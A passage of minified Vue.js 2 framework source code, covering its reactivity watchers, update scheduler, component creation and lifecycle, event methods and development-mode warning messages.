(\w+)/);return t?t[1]:""}function Ge(e,t){return Je(e)===Je(t)}function Ke(e,t){if(!Array.isArray(t))return Ge(t,e)?0:-1;for(var i=0,n=t.length;i<n;i++)if(Ge(t[i],e))return i;return-1}function Xe(e,t){return"String"===t?'"'+e+'"':"Number"===t?""+Number(e):""+e}function Ze(e){return["string","number","boolean"].some((function(t){return e.toLowerCase()===t}))}function Qe(e,t,i){if(t)for(var n=t;n=n.$parent;){var r=n.$options.errorCaptured;if(r)for(var s=0;s<r.length;s++)try{if(!1===r[s].call(n,e,t,i))return}catch(e){et(e,n,"errorCaptured hook")}}et(e,t,i)}function et(e,t,i){if(R.errorHandler)try{return R.errorHandler.call(null,e,t,i)}catch(e){tt(e,null,"config.errorHandler")}tt(e,t,i)}function tt(e,t,i){if(le("Error in "+i+': "'+e.toString()+'"',t),!z&&!q||"undefined"==typeof console)throw e;console.error(e)}var it,nt,rt=[],st=!1;function at(){st=!1;var e=rt.slice(0);rt.length=0;for(var t=0;t<e.length;t++)e[t]()}var ot,lt,ut=!1;if("undefined"!=typeof setImmediate&&se(setImmediate))nt=function(){setImmediate(at)};else if("undefined"==typeof MessageChannel||!se(MessageChannel)&&"[object MessageChannelConstructor]"!==MessageChannel.toString())nt=function(){setTimeout(at,0)};else{var ct=new MessageChannel,dt=ct.port2;ct.port1.onmessage=at,nt=function(){dt.postMessage(1)}}if("undefined"!=typeof Promise&&se(Promise)){var ht=Promise.resolve();it=function(){ht.then(at),Z&&setTimeout(E)}}else it=nt;function pt(e,t){var i;if(rt.push((function(){if(e)try{e.call(t)}catch(e){Qe(e,t,"nextTick")}else i&&i(t)})),st||(st=!0,ut?nt():it()),!e&&"undefined"!=typeof Promise)return new Promise((function(e){i=e}))}var ft,mt=z&&window.performance;mt&&mt.mark&&mt.measure&&mt.clearMarks&&mt.clearMeasures&&(ot=function(e){return mt.mark(e)},lt=function(e,t,i){mt.measure(e,t,i),mt.clearMarks(t),mt.clearMarks(i),mt.clearMeasures(e)});var gt=f("Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,require"),_t=function(e,t){le('Property or method "'+t+'" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based components, by initializing the property. See: https://vuejs.org/v2/guide/reactivity.html#Declaring-Reactive-Properties.',e)},vt=function(e,t){le('Property "'+t+'" must be accessed with "$data.'+t+'" because properties starting with "$" or "_" are not proxied in the Vue instance to prevent conflicts with Vue internalsSee: https://vuejs.org/v2/api/#data',e)},yt="undefined"!=typeof Proxy&&se(Proxy);if(yt){var bt=f("stop,prevent,self,ctrl,shift,alt,meta,exact");R.keyCodes=new Proxy(R.keyCodes,{set:function(e,t,i){return bt(t)?(le("Avoid overwriting built-in modifier in config.keyCodes: ."+t),!1):(e[t]=i,!0)}})}var wt={has:function(e,t){var i=t in e,n=gt(t)||"string"==typeof t&&"_"===t.charAt(0)&&!(t in e.$data);return i||n||(t in e.$data?vt(e,t):_t(e,t)),i||!n}},Tt={get:function(e,t){return"string"!=typeof t||t in e||(t in e.$data?vt(e,t):_t(e,t)),e[t]}};ft=function(e){if(yt){var t=e.$options,i=t.render&&t.render._withStripped?Tt:wt;e._renderProxy=new Proxy(e,i)}else e._renderProxy=e};var kt=new ae;function St(e){Mt(e,kt),kt.clear()}function Mt(e,t){var i,n,r=Array.isArray(e);if(!(!r&&!a(e)||Object.isFrozen(e)||e instanceof ye)){if(e.__ob__){var s=e.__ob__.dep.id;if(t.has(s))return;t.add(s)}if(r)for(i=e.length;i--;)Mt(e[i],t);else for(i=(n=Object.keys(e)).length;i--;)Mt(e[n[i]],t)}}var xt,Lt=b((function(e){var t="&"===e.charAt(0),i="~"===(e=t?e.slice(1):e).charAt(0),n="!"===(e=i?e.slice(1):e).charAt(0);return{name:e=n?e.slice(1):e,once:i,capture:n,passive:t}}));function Ct(e){function t(){var e=arguments,i=t.fns;if(!Array.isArray(i))return i.apply(null,arguments);for(var n=i.slice(),r=0;r<n.length;r++)n[r].apply(null,e)}return t.fns=e,t}function Dt(e,i,n,s,a,o){var l,u,c,d;for(l in e)u=e[l],c=i[l],d=Lt(l),t(u)?le('Invalid handler for event "'+d.name+'": got '+String(u),o):t(c)?(t(u.fns)&&(u=e[l]=Ct(u)),r(d.once)&&(u=e[l]=a(d.name,u,d.capture)),n(d.name,u,d.capture,d.passive,d.params)):u!==c&&(c.fns=u,e[l]=c);for(l in i)t(e[l])&&s((d=Lt(l)).name,i[l],d.capture)}function Et(e,i,s){var a;e instanceof ye&&(e=e.data.hook||(e.data.hook={}));var o=e[i];function l(){s.apply(this,arguments),_(a.fns,l)}t(o)?a=Ct([l]):n(o.fns)&&r(o.merged)?(a=o).fns.push(l):a=Ct([o,l]),a.merged=!0,e[i]=a}function Pt(e,t,i,r,s){if(n(t)){if(y(t,i))return e[i]=t[i],s||delete t[i],!0;if(y(t,r))return e[i]=t[r],s||delete t[r],!0}return!1}function At(e){return s(e)?[Te(e)]:Array.isArray(e)?Ot(e):void 0}function It(e){return n(e)&&n(e.text)&&!1===e.isComment}function Ot(e,i){var a,o,l,u,c=[];for(a=0;a<e.length;a++)t(o=e[a])||"boolean"==typeof o||(u=c[l=c.length-1],Array.isArray(o)?o.length>0&&(It((o=Ot(o,(i||"")+"_"+a))[0])&&It(u)&&(c[l]=Te(u.text+o[0].text),o.shift()),c.push.apply(c,o)):s(o)?It(u)?c[l]=Te(u.text+o):""!==o&&c.push(Te(o)):It(o)&&It(u)?c[l]=Te(u.text+o.text):(r(e._isVList)&&n(o.tag)&&t(o.key)&&n(i)&&(o.key="__vlist"+i+"_"+a+"__"),c.push(o)));return c}function Yt(e,t){return(e.__esModule||oe&&"Module"===e[Symbol.toStringTag])&&(e=e.default),a(e)?t.extend(e):e}function $t(e){return e.isComment&&e.asyncFactory}function jt(e){if(Array.isArray(e))for(var t=0;t<e.length;t++){var i=e[t];if(n(i)&&(n(i.componentOptions)||$t(i)))return i}}function Nt(e,t){xt.$on(e,t)}function Rt(e,t){xt.$off(e,t)}function Ht(e,t){var i=xt;return function n(){null!==t.apply(null,arguments)&&i.$off(e,n)}}function Ft(e,t,i){xt=e,Dt(t,i||{},Nt,Rt,Ht,e),xt=void 0}function Bt(e,t){var i={};if(!e)return i;for(var n=0,r=e.length;n<r;n++){var s=e[n],a=s.data;if(a&&a.attrs&&a.attrs.slot&&delete a.attrs.slot,s.context!==t&&s.fnContext!==t||!a||null==a.slot)(i.default||(i.default=[])).push(s);else{var o=a.slot,l=i[o]||(i[o]=[]);"template"===s.tag?l.push.apply(l,s.children||[]):l.push(s)}}for(var u in i)i[u].every(Ut)&&delete i[u];return i}function Ut(e){return e.isComment&&!e.asyncFactory||" "===e.text}function Wt(e,t){t=t||{};for(var i=0;i<e.length;i++)Array.isArray(e[i])?Wt(e[i],t):t[e[i].key]=e[i].fn;return t}var zt=null,qt=!1;function Vt(e){var t=zt;return zt=e,function(){zt=t}}function Jt(e){for(;e&&(e=e.$parent);)if(e._inactive)return!0;return!1}function Gt(e,t){if(t){if(e._directInactive=!1,Jt(e))return}else if(e._directInactive)return;if(e._inactive||null===e._inactive){e._inactive=!1;for(var i=0;i<e.$children.length;i++)Gt(e.$children[i]);Xt(e,"activated")}}function Kt(e,t){if(!(t&&(e._directInactive=!0,Jt(e))||e._inactive)){e._inactive=!0;for(var i=0;i<e.$children.length;i++)Kt(e.$children[i]);Xt(e,"deactivated")}}function Xt(e,t){_e();var i=e.$options[t];if(i)for(var n=0,r=i.length;n<r;n++)try{i[n].call(e)}catch(i){Qe(i,e,t+" hook")}e._hasHookEvent&&e.$emit("hook:"+t),ve()}var Qt=[],ei=[],ti={},ii={},ni=!1,ri=!1,si=0;function ai(){var e,t;for(ri=!0,Qt.sort((function(e,t){return e.id-t.id})),si=0;si<Qt.length;si++)if((e=Qt[si]).before&&e.before(),t=e.id,ti[t]=null,e.run(),null!=ti[t]&&(ii[t]=(ii[t]||0)+1,ii[t]>100)){le("You may have an infinite update loop "+(e.user?'in watcher with expression "'+e.expression+'"':"in a component render function."),e.vm);break}var i=ei.slice(),n=Qt.slice();si=Qt.length=ei.length=0,ti={},ii={},ni=ri=!1,function(e){for(var t=0;t<e.length;t++)e[t]._inactive=!0,Gt(e[t],!0)}(i),function(e){for(var t=e.length;t--;){var i=e[t],n=i.vm;n._watcher===i&&n._isMounted&&!n._isDestroyed&&Xt(n,"updated")}}(n),re&&R.devtools&&re.emit("flush")}var oi=0,li=function(e,t,i,n,r){this.vm=e,r&&(e._watcher=this),e._watchers.push(this),n?(this.deep=!!n.deep,this.user=!!n.user,this.lazy=!!n.lazy,this.sync=!!n.sync,this.before=n.before):this.deep=this.user=this.lazy=this.sync=!1,this.cb=i,this.id=++oi,this.active=!0,this.dirty=this.lazy,this.deps=[],this.newDeps=[],this.depIds=new ae,this.newDepIds=new ae,this.expression=t.toString(),"function"==typeof t?this.getter=t:(this.getter=function(e){if(!B.test(e)){var t=e.split(".");return function(e){for(var i=0;i<t.length;i++){if(!e)return;e=e[t[i]]}return e}}}(t),this.getter||(this.getter=E,le('Failed watching path: "'+t+'" Watcher only accepts simple dot-delimited paths. For full control, use a function instead.',e))),this.value=this.lazy?void 0:this.get()};li.prototype.get=function(){var e;_e(this);var t=this.vm;try{e=this.getter.call(t,t)}catch(e){if(!this.user)throw e;Qe(e,t,'getter for watcher "'+this.expression+'"')}finally{this.deep&&St(e),ve(),this.cleanupDeps()}return e},li.prototype.addDep=function(e){var t=e.id;this.newDepIds.has(t)||(this.newDepIds.add(t),this.newDeps.push(e),this.depIds.has(t)||e.addSub(this))},li.prototype.cleanupDeps=function(){for(var e=this.deps.length;e--;){var t=this.deps[e];this.newDepIds.has(t.id)||t.removeSub(this)}var i=this.depIds;this.depIds=this.newDepIds,this.newDepIds=i,this.newDepIds.clear(),i=this.deps,this.deps=this.newDeps,this.newDeps=i,this.newDeps.length=0},li.prototype.update=function(){this.lazy?this.dirty=!0:this.sync?this.run():function(e){var t=e.id;if(null==ti[t]){if(ti[t]=!0,ri){for(var i=Qt.length-1;i>si&&Qt[i].id>e.id;)i--;Qt.splice(i+1,0,e)}else Qt.push(e);if(!ni){if(ni=!0,!R.async)return void ai();pt(ai)}}}(this)},li.prototype.run=function(){if(this.active){var e=this.get();if(e!==this.value||a(e)||this.deep){var t=this.value;if(this.value=e,this.user)try{this.cb.call(this.vm,e,t)}catch(e){Qe(e,this.vm,'callback for watcher "'+this.expression+'"')}else this.cb.call(this.vm,e,t)}}},li.prototype.evaluate=function(){this.value=this.get(),this.dirty=!1},li.prototype.depend=function(){for(var e=this.deps.length;e--;)this.deps[e].depend()},li.prototype.teardown=function(){if(this.active){this.vm._isBeingDestroyed||_(this.vm._watchers,this);for(var e=this.deps.length;e--;)this.deps[e].removeSub(this);this.active=!1}};var ui={enumerable:!0,configurable:!0,get:E,set:E};function ci(e,t,i){ui.get=function(){return this[t][i]},ui.set=function(e){this[t][i]=e},Object.defineProperty(e,i,ui)}var hi={lazy:!0};function pi(e,t,i){var n=!ne();"function"==typeof i?(ui.get=n?fi(t):mi(i),ui.set=E):(ui.get=i.get?n&&!1!==i.cache?fi(t):mi(i.get):E,ui.set=i.set||E),ui.set===E&&(ui.set=function(){le('Computed property "'+t+'" was assigned to but it has no setter.',this)}),Object.defineProperty(e,t,ui)}function fi(e){return function(){var t=this._computedWatchers&&this._computedWatchers[e];if(t)return t.dirty&&t.evaluate(),me.target&&t.depend(),t.value}}function mi(e){return function(){return e.call(this,this)}}function gi(e,t,i,n){return u(i)&&(n=i,i=i.handler),"string"==typeof i&&(i=e[i]),e.$watch(t,i,n)}function _i(e,t){if(e){for(var i=Object.create(null),n=oe?Reflect.ownKeys(e).filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})):Object.keys(e),r=0;r<n.length;r++){for(var s=n[r],a=e[s].from,o=t;o;){if(o._provided&&y(o._provided,a)){i[s]=o._provided[a];break}o=o.$parent}if(!o)if("default"in e[s]){var l=e[s].default;i[s]="function"==typeof l?l.call(t):l}else le('Injection "'+s+'" not found',t)}return i}}function vi(e,t){var i,r,s,o,l;if(Array.isArray(e)||"string"==typeof e)for(i=new Array(e.length),r=0,s=e.length;r<s;r++)i[r]=t(e[r],r);else if("number"==typeof e)for(i=new Array(e),r=0;r<e;r++)i[r]=t(r+1,r);else if(a(e))for(o=Object.keys(e),i=new Array(o.length),r=0,s=o.length;r<s;r++)l=o[r],i[r]=t(e[l],l,r);return n(i)||(i=[]),i._isVList=!0,i}function yi(e,t,i,n){var r,s=this.$scopedSlots[e];s?(i=i||{},n&&(a(n)||le("slot v-bind without argument expects an Object",this),i=C(C({},n),i)),r=s(i)||t):r=this.$slots[e]||t;var o=i&&i.slot;return o?this.$createElement("template",{slot:o},r):r}function bi(e){return We(this.$options,"filters",e,!0)||A}function wi(e,t){return Array.isArray(e)?-1===e.indexOf(t):e!==t}function Ti(e,t,i,n,r){var s=R.keyCodes[t]||i;return r&&n&&!R.keyCodes[t]?wi(r,n):s?wi(s,e):n?M(n)!==t:void 0}function ki(e,t,i,n,r){if(i)if(a(i)){var s;Array.isArray(i)&&(i=D(i));var o=function(a){if("class"===a||"style"===a||g(a))s=e;else{var o=e.attrs&&e.attrs.type;s=n||R.mustUseProp(t,o,a)?e.domProps||(e.domProps={}):e.attrs||(e.attrs={})}var l=T(a);a in s||l in s||(s[a]=i[a],r&&((e.on||(e.on={}))["update:"+l]=function(e){i[a]=e}))};for(var l in i)o(l)}else le("v-bind without argument expects an Object or Array value",this);return e}function Si(e,t){var i=this._staticTrees||(this._staticTrees=[]),n=i[e];return n&&!t||xi(n=i[e]=this.$options.staticRenderFns[e].call(this._renderProxy,null,this),"__static__"+e,!1),n}function Mi(e,t,i){return xi(e,"__once__"+t+(i?"_"+i:""),!0),e}function xi(e,t,i){if(Array.isArray(e))for(var n=0;n<e.length;n++)e[n]&&"string"!=typeof e[n]&&Li(e[n],t+"_"+n,i);else Li(e,t,i)}function Li(e,t,i){e.isStatic=!0,e.key=t,e.isOnce=i}function Ci(e,t){if(t)if(u(t)){var i=e.on=e.on?C({},e.on):{};for(var n in t){var r=i[n],s=t[n];i[n]=r?[].concat(r,s):s}}else le("v-on without argument expects an Object value",this);return e}function Di(e){e._o=Mi,e._n=p,e._s=h,e._l=vi,e._t=yi,e._q=I,e._i=O,e._m=Si,e._f=bi,e._k=Ti,e._b=ki,e._v=Te,e._e=we,e._u=Wt,e._g=Ci}function Ei(t,i,n,s,a){var o,l=a.options;y(s,"_uid")?(o=Object.create(s))._original=s:(o=s,s=s._original);var u=r(l._compiled),c=!u;this.data=t,this.props=i,this.children=n,this.parent=s,this.listeners=t.on||e,this.injections=_i(l.inject,s),this.slots=function(){return Bt(n,s)},u&&(this.$options=l,this.$slots=this.slots(),this.$scopedSlots=t.scopedSlots||e),l._scopeId?this._c=function(e,t,i,n){var r=Ri(o,e,t,i,n,c);return r&&!Array.isArray(r)&&(r.fnScopeId=l._scopeId,r.fnContext=s),r}:this._c=function(e,t,i,n){return Ri(o,e,t,i,n,c)}}function Pi(e,t,i,n,r){var s=ke(e);return s.fnContext=i,s.fnOptions=n,(s.devtoolsMeta=s.devtoolsMeta||{}).renderContext=r,t.slot&&((s.data||(s.data={})).slot=t.slot),s}function Ai(e,t){for(var i in t)e[T(i)]=t[i]}Di(Ei.prototype);var Ii={init:function(e,t){if(e.componentInstance&&!e.componentInstance._isDestroyed&&e.data.keepAlive){var i=e;Ii.prepatch(i,i)}else(e.componentInstance=function(e,t){var i={_isComponent:!0,_parentVnode:e,parent:t},r=e.data.inlineTemplate;return n(r)&&(i.render=r.render,i.staticRenderFns=r.staticRenderFns),new e.componentOptions.Ctor(i)}(e,zt)).$mount(t?e.elm:void 0,t)},prepatch:function(t,i){var n=i.componentOptions;!function(t,i,n,r,s){qt=!0;var a=!!(s||t.$options._renderChildren||r.data.scopedSlots||t.$scopedSlots!==e);if(t.$options._parentVnode=r,t.$vnode=r,t._vnode&&(t._vnode.parent=r),t.$options._renderChildren=s,t.$attrs=r.data.attrs||e,t.$listeners=n||e,i&&t.$options.props){Ce(!1);for(var o=t._props,l=t.$options._propKeys||[],u=0;u<l.length;u++){var c=l[u],d=t.$options.props;o[c]=ze(c,d,i,t)}Ce(!0),t.$options.propsData=i}n=n||e;var h=t.$options._parentListeners;t.$options._parentListeners=n,Ft(t,n,h),a&&(t.$slots=Bt(s,r.context),t.$forceUpdate()),qt=!1}(i.componentInstance=t.componentInstance,n.propsData,n.listeners,i,n.children)},insert:function(e){var t=e.context,i=e.componentInstance;i._isMounted||(i._isMounted=!0,Xt(i,"mounted")),e.data.keepAlive&&(t._isMounted?function(e){e._inactive=!1,ei.push(e)}(i):Gt(i,!0))},destroy:function(e){var t=e.componentInstance;t._isDestroyed||(e.data.keepAlive?Kt(t,!0):t.$destroy())}},Oi=Object.keys(Ii);function Yi(i,s,o,l,u){if(!t(i)){var c=o.$options._base;if(a(i)&&(i=c.extend(i)),"function"==typeof i){var d;if(t(i.cid)&&void 0===(i=function(e,i,s){if(r(e.error)&&n(e.errorComp))return e.errorComp;if(n(e.resolved))return e.resolved;if(r(e.loading)&&n(e.loadingComp))return e.loadingComp;if(!n(e.contexts)){var o=e.contexts=[s],l=!0,u=function(e){for(var t=0,i=o.length;t<i;t++)o[t].$forceUpdate();e&&(o.length=0)},c=Y((function(t){e.resolved=Yt(t,i),l?o.length=0:u(!0)})),d=Y((function(t){le("Failed to resolve async component: "+String(e)+(t?"\nReason: "+t:"")),n(e.errorComp)&&(e.error=!0,u(!0))})),h=e(c,d);return a(h)&&("function"==typeof h.then?t(e.resolved)&&h.then(c,d):n(h.component)&&"function"==typeof h.component.then&&(h.component.then(c,d),n(h.error)&&(e.errorComp=Yt(h.error,i)),n(h.loading)&&(e.loadingComp=Yt(h.loading,i),0===h.delay?e.loading=!0:setTimeout((function(){t(e.resolved)&&t(e.error)&&(e.loading=!0,u(!1))}),h.delay||200)),n(h.timeout)&&setTimeout((function(){t(e.resolved)&&d("timeout ("+h.timeout+"ms)")}),h.timeout))),l=!1,e.loading?e.loadingComp:e.resolved}e.contexts.push(s)}(d=i,c,o)))return function(e,t,i,n,r){var s=we();return s.asyncFactory=e,s.asyncMeta={data:t,context:i,children:n,tag:r},s}(d,s,o,l,u);s=s||{},Bi(i),n(s.model)&&function(e,t){var i=e.model&&e.model.prop||"value",r=e.model&&e.model.event||"input";(t.props||(t.props={}))[i]=t.model.value;var s=t.on||(t.on={}),a=s[r],o=t.model.callback;n(a)?(Array.isArray(a)?-1===a.indexOf(o):a!==o)&&(s[r]=[o].concat(a)):s[r]=o}(i.options,s);var h=function(e,i,r){var s=i.options.props;if(!t(s)){var a={},o=e.attrs,l=e.props;if(n(o)||n(l))for(var u in s){var c=M(u),d=u.toLowerCase();u!==d&&o&&y(o,d)&&ue('Prop "'+d+'" is passed to component '+de(r||i)+', but the declared prop name is "'+u+'". Note that HTML attributes are case-insensitive and camelCased props need to use their kebab-case equivalents when using in-DOM templates. You should probably use "'+c+'" instead of "'+u+'".'),Pt(a,l,u,c,!0)||Pt(a,o,u,c,!1)}return a}}(s,i,u);if(r(i.options.functional))return function(t,i,r,s,a){var o=t.options,l={},u=o.props;if(n(u))for(var c in u)l[c]=ze(c,u,i||e);else n(r.attrs)&&Ai(l,r.attrs),n(r.props)&&Ai(l,r.props);var d=new Ei(r,l,a,s,t),h=o.render.call(null,d._c,d);if(h instanceof ye)return Pi(h,r,d.parent,o,d);if(Array.isArray(h)){for(var p=At(h)||[],f=new Array(p.length),m=0;m<p.length;m++)f[m]=Pi(p[m],r,d.parent,o,d);return f}}(i,h,s,o,l);var p=s.on;if(s.on=s.nativeOn,r(i.options.abstract)){var f=s.slot;s={},f&&(s.slot=f)}!function(e){for(var t=e.hook||(e.hook={}),i=0;i<Oi.length;i++){var n=Oi[i],r=t[n],s=Ii[n];r===s||r&&r._merged||(t[n]=r?$i(s,r):s)}}(s);var m=i.options.name||u;return new ye("vue-component-"+i.cid+(m?"-"+m:""),s,void 0,void 0,void 0,o,{Ctor:i,propsData:h,listeners:p,tag:u,children:l},d)}le("Invalid Component definition: "+String(i),o)}}function $i(e,t){var i=function(i,n){e(i,n),t(i,n)};return i._merged=!0,i}var ji=1,Ni=2;function Ri(e,t,i,o,l,u){return(Array.isArray(i)||s(i))&&(l=o,o=i,i=void 0),r(u)&&(l=Ni),function(e,t,i,r,o){return n(i)&&n(i.__ob__)?(le("Avoid using observed data object as vnode data: "+JSON.stringify(i)+"\nAlways create fresh vnode data objects in each render!",e),we()):(n(i)&&n(i.is)&&(t=i.is),t?(n(i)&&n(i.key)&&!s(i.key)&&le("Avoid using non-primitive value as key, use string/number value instead.",e),Array.isArray(r)&&"function"==typeof r[0]&&((i=i||{}).scopedSlots={default:r[0]},r.length=0),o===Ni?r=At(r):o===ji&&(r=function(e){for(var t=0;t<e.length;t++)if(Array.isArray(e[t]))return Array.prototype.concat.apply([],e);return e}(r)),"string"==typeof t?(u=e.$vnode&&e.$vnode.ns||R.getTagNamespace(t),l=R.isReservedTag(t)?new ye(R.parsePlatformTagName(t),i,r,void 0,void 0,e):i&&i.pre||!n(c=We(e.$options,"components",t))?new ye(t,i,r,void 0,void 0,e):Yi(c,i,e,r,t)):l=Yi(t,i,e,r),Array.isArray(l)?l:n(l)?(n(u)&&Hi(l,u),n(i)&&function(e){a(e.style)&&St(e.style),a(e.class)&&St(e.class)}(i),l):we()):we());var l,u,c}(e,t,i,o,l)}function Hi(e,i,s){if(e.ns=i,"foreignObject"===e.tag&&(i=void 0,s=!0),n(e.children))for(var a=0,o=e.children.length;a<o;a++){var l=e.children[a];n(l.tag)&&(t(l.ns)||r(s)&&"svg"!==l.tag)&&Hi(l,i,s)}}var Fi=0;function Bi(e){var t=e.options;if(e.super){var i=Bi(e.super);if(i!==e.superOptions){e.superOptions=i;var n=function(e){var t,i=e.options,n=e.sealedOptions;for(var r in i)i[r]!==n[r]&&(t||(t={}),t[r]=i[r]);return t}(e);n&&C(e.extendOptions,n),(t=e.options=Ue(i,e.extendOptions)).name&&(t.components[t.name]=e)}}return t}function Ui(e){this instanceof Ui||le("Vue is a constructor and should be called with the `new` keyword"),this._init(e)}function zi(e){return e&&(e.Ctor.options.name||e.tag)}function qi(e,t){return Array.isArray(e)?e.indexOf(t)>-1:"string"==typeof e?e.split(",").indexOf(t)>-1:!!c(e)&&e.test(t)}function Vi(e,t){var i=e.cache,n=e.keys,r=e._vnode;for(var s in i){var a=i[s];if(a){var o=zi(a.componentOptions);o&&!t(o)&&Ji(i,s,n,r)}}}function Ji(e,t,i,n){var r=e[t];!r||n&&r.tag===n.tag||r.componentInstance.$destroy(),e[t]=null,_(i,t)}(function(t){t.prototype._init=function(t){var i,n,r=this;r._uid=Fi++,R.performance&&ot&&(i="vue-perf-start:"+r._uid,n="vue-perf-end:"+r._uid,ot(i)),r._isVue=!0,t&&t._isComponent?function(e,t){var i=e.$options=Object.create(e.constructor.options),n=t._parentVnode;i.parent=t.parent,i._parentVnode=n;var r=n.componentOptions;i.propsData=r.propsData,i._parentListeners=r.listeners,i._renderChildren=r.children,i._componentTag=r.tag,t.render&&(i.render=t.render,i.staticRenderFns=t.staticRenderFns)}(r,t):r.$options=Ue(Bi(r.constructor),t||{},r),ft(r),r._self=r,function(e){var t=e.$options,i=t.parent;if(i&&!t.abstract){for(;i.$options.abstract&&i.$parent;)i=i.$parent;i.$children.push(e)}e.$parent=i,e.$root=i?i.$root:e,e.$children=[],e.$refs={},e._watcher=null,e._inactive=null,e._directInactive=!1,e._isMounted=!1,e._isDestroyed=!1,e._isBeingDestroyed=!1}(r),function(e){e._events=Object.create(null),e._hasHookEvent=!1;var t=e.$options._parentListeners;t&&Ft(e,t)}(r),function(t){t._vnode=null,t._staticTrees=null;var i=t.$options,n=t.$vnode=i._parentVnode,r=n&&n.context;t.$slots=Bt(i._renderChildren,r),t.$scopedSlots=e,t._c=function(e,i,n,r){return Ri(t,e,i,n,r,!1)},t.$createElement=function(e,i,n,r){return Ri(t,e,i,n,r,!0)};var s=n&&n.data;Pe(t,"$attrs",s&&s.attrs||e,(function(){!qt&&le("$attrs is readonly.",t)}),!0),Pe(t,"$listeners",i._parentListeners||e,(function(){!qt&&le("$listeners is readonly.",t)}),!0)}(r),Xt(r,"beforeCreate"),function(e){var t=_i(e.$options.inject,e);t&&(Ce(!1),Object.keys(t).forEach((function(i){Pe(e,i,t[i],(function(){le('Avoid mutating an injected value directly since the changes will be overwritten whenever the provided component re-renders. injection being mutated: "'+i+'"',e)}))})),Ce(!0))}(r),function di(e){e._watchers=[];var t=e.$options;t.props&&function(e,t){var i=e.$options.propsData||{},n=e._props={},r=e.$options._propKeys=[],s=!e.$parent;s||Ce(!1);var a=function(a){r.push(a);var o=ze(a,t,i,e),l=M(a);(g(l)||R.isReservedAttr(l))&&le('"'+l+'" is a reserved attribute and cannot be used as component prop.',e),Pe(n,a,o,(function(){s||qt||le("Avoid mutating a prop directly since the value will be overwritten whenever the parent component re-renders. Instead, use a data or computed property based on the prop's value. Prop being mutated: \""+a+'"',e)})),a in e||ci(e,"_props",a)};for(var o in t)a(o);Ce(!0)}(e,t.props),t.methods&&function(e,t){var i=e.$options.props;for(var n in t)"function"!=typeof t[n]&&le('Method "'+n+'" has type "'+typeof t[n]+'" in the component definition. Did you reference the function correctly?',e),i&&y(i,n)&&le('Method "'+n+'" has already been defined as a prop.',e),n in e&&H(n)&&le('Method "'+n+'" conflicts with an existing Vue instance method. Avoid defining component methods that start with _ or $.'),e[n]="function"!=typeof t[n]?E:x(t[n],e)}(e,t.methods),t.data?function(e){var t=e.$options.data;u(t=e._data="function"==typeof t?function(e,t){_e();try{return e.call(t,t)}catch(e){return Qe(e,t,"data()"),{}}finally{ve()}}(t,e):t||{})||(t={},le("data functions should return an object:\nhttps://vuejs.org/v2/guide/components.html#data-Must-Be-a-Function",e));for(var i=Object.keys(t),n=e.$options.props,r=e.$options.methods,s=i.length;s--;){var a=i[s];r&&y(r,a)&&le('Method "'+a+'" has already been defined as a data property.',e),n&&y(n,a)?le('The data property "'+a+'" is already declared as a prop. Use prop default value instead.',e):H(a)||ci(e,"_data",a)}Ee(t,!0)}(e):Ee(e._data={},!0),t.computed&&function(e,t){var i=e._computedWatchers=Object.create(null),n=ne();for(var r in t){var s=t[r],a="function"==typeof s?s:s.get;null==a&&le('Getter is missing for computed property "'+r+'".',e),n||(i[r]=new li(e,a||E,E,hi)),r in e?r in e.$data?le('The computed property "'+r+'" is already defined in data.',e):e.$options.props&&r in e.$options.props&&le('The computed property "'+r+'" is already defined as a prop.',e):pi(e,r,s)}}(e,t.computed),t.watch&&t.watch!==ee&&function(e,t){for(var i in t){var n=t[i];if(Array.isArray(n))for(var r=0;r<n.length;r++)gi(e,i,n[r]);else gi(e,i,n)}}(e,t.watch)}(r),function(e){var t=e.$options.provide;t&&(e._provided="function"==typeof t?t.call(e):t)}(r),Xt(r,"created"),R.performance&&ot&&(r._name=de(r,!1),ot(n),lt("vue "+r._name+" init",i,n)),r.$options.el&&r.$mount(r.$options.el)}})(Ui),function(e){var t={get:function(){return this._data}},i={get:function(){return this._props}};t.set=function(){le("Avoid replacing instance root $data. Use nested data properties instead.",this)},i.set=function(){le("$props is readonly.",this)},Object.defineProperty(e.prototype,"$data",t),Object.defineProperty(e.prototype,"$props",i),e.prototype.$set=Ae,e.prototype.$delete=Ie,e.prototype.$watch=function(e,t,i){var n=this;if(u(t))return gi(n,e,t,i);(i=i||{}).user=!0;var r=new li(n,e,t,i);if(i.immediate)try{t.call(n,r.value)}catch(e){Qe(e,n,'callback for immediate watcher "'+r.expression+'"')}return function(){r.teardown()}}}(Ui),function(e){var t=/^hook:/;e.prototype.$on=function(e,i){var n=this;if(Array.isArray(e))for(var r=0,s=e.length;r<s;r++)n.$on(e[r],i);else(n._events[e]||(n._events[e]=[])).push(i),t.test(e)&&(n._hasHookEvent=!0);return n},e.prototype.$once=function(e,t){var i=this;function n(){i.$off(e,n),t.apply(i,arguments)}return n.fn=t,i.$on(e,n),i},e.prototype.$off=function(e,t){var i=this;if(!arguments.length)return i._events=Object.create(null),i;if(Array.isArray(e)){for(var n=0,r=e.length;n<r;n++)i.$off(e[n],t);return i}var s,a=i._events[e];if(!a)return i;if(!t)return i._events[e]=null,i;for(var o=a.length;o--;)if((s=a[o])===t||s.fn===t){a.splice(o,1);break}return i},e.prototype.$emit=function(e){var t=this,i=e.toLowerCase();i!==e&&t._events[i]&&ue('Event "'+i+'" is emitted in component '+de(t)+' but the handler is registered for "'+e+'". Note that HTML attributes are case-insensitive and you cannot use v-on to listen to camelCase events when using in-DOM templates. You should probably use "'+M(e)+'" instead of "'+e+'".');var n=t._events[e];if(n){n=n.length>1?L(n):n;for(var r=L(arguments,1),s=0,a=n.length;s<a;s++)try{n[s].apply(t,r)}catch(i){Qe(i,t,'event handler for "'+e+'"')}}return t}}(Ui),function(e){e.prototype._update=function(e,t){var i=this,n=i.$el,r=i._vnode,s=Vt(i);i._vnode=e,i.$el=r?i.__patch__(r,e):i.__patch__(i.$el,e,t,!1),s(),n&&(n.__vue__=null),i.$el&&(i.$el.__vue__=i),i.$vnode&&i.$parent&&i.$vnode===i.$parent._vnode&&(i.$parent.$el=i.$el)},e.prototype.$forceUpdate=function(){this._watcher&&this._watcher.update()},e.prototype.$destroy=function(){var e=this;if(!e._isBeingDestroyed){Xt(e,"beforeDestroy"),e._isBeingDestroyed=!0;var 